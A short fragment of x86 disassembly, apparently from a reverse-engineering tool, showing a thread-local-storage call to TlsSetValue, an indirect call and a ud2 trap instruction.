je 0x41e47c
push 0
push esi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push esi
call edi
add esp, 4
jmp 0x41e47c
mov ecx, 0x470634
mov dword [ebp - 0x10], 0
call fcn.00458ab0
ud2